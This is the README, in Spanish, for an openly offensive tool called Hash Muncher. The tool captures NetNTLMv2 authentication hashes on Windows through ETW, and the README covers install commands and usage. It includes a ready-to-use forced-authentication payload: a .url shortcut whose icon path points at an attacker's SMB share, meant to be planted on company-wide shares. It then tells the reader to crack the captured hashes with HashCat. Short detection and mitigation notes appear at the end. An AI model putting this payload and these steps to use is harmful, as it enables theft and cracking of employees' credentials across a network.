Hash Muncher

Captura hashes NetNTLMv2 usando ETW con privilegios administrativos en Windows

• Requiere acceso elevado (administrador) en Windows 8.1 / Windows 2016 o posterior
• Usa Seguimiento de eventos para Windows (ETW) para acceder a los datos brutos de los paquetes de autenticación SMB
• Decodifica los mensajes NTLM de tipo 2 y 3
• Envía la salida a stdout o a un archivo
• Pulse Ctrl-C para detener el procesamiento o use la opción de tiempo de espera
• Rompa los hashes con HashCat usando -m 5600

Obtener Hash Muncher

Tres opciones diferentes para ponerlo en marcha

A) Descargar los binarios compilados automáticamente desde releases

B) Compilar e instalar en Windows con este comando de Go

• requiere Golang

go install github.com/lkarlslund/hashmuncher@latest

C) Compilar de forma cruzada los binarios de Windows en cualquier plataforma compatible con Golang que tenga PowerShell instalado

• requiere Golang y PowerShell

git clone https://github.com/lkarlslund/hashmuncher
cd hashmuncher
./build.ps1

Uso

1. Asegúrese de que el Firewall de Windows permite "Compartir archivos e impresoras", ya que Hash Muncher requiere que el servicio SMB integrado envíe y reciba la solicitud inicial y los paquetes de respuesta hacia el objetivo.

2. En un símbolo del sistema elevado ejecute Hash Muncher

hashmuncher.exe [-output filename.txt] [-timeout nnn] [-tracename yourname] [-help]

3. Ahora espere a que alguien se autentique contra su máquina, o coloque un acceso directo URL en un recurso compartido popular como el siguiente.

[InternetShortcut]
URL=Munch
WorkingDirectory=MunchMunch
IconFile=\\10.1.2.3\%USERNAME%.icon
IconIndex=1

Reemplace la dirección IP con su máquina Hash Muncher, guarde el archivo en un recurso compartido (de toda la empresa) como 'whatever.url', y observe cómo llegan los hashes.

Hay otros métodos mencionados en Red Team Notes - Forced Authentication, y probablemente también pueda tener éxito enviando por correo un documento de Word a todos, pero no es nada sigiloso.

Detección

• Ninguna que haya visto, pero por favor deje comentarios

Mitigación

• Ninguna para la parte de ETW, esto es parte del diseño de Windows según Microsoft
• ¡Use contraseñas FUERTES! Romper NetNTLMv2 no es nada rápido, pero con contraseñas débiles sin duda se puede lograr.
• ¡Deshabilite NTLM por completo! Probablemente no será indoloro, pero consulte Farewell NTLM - It is time to disable NTLM

Historia

He estado jugando con ETW de vez en cuando, pero una vez que vi la genial investigación de Nettitude Labs supe que tenía que convertirlo en una herramienta fácil de usar en mi lenguaje favorito, ¡Golang! Nettitude Labs tiene un POC funcional escrito en C# que se ejecuta bajo el framework .Net, y podría ser una mejor opción para usted. Así que realmente no estoy inventando nada aquí, solo lo añado como una alternativa.

Si le gustan los temas de seguridad de Windows, también le puede gustar mi herramienta de grafos de ataque Adalanche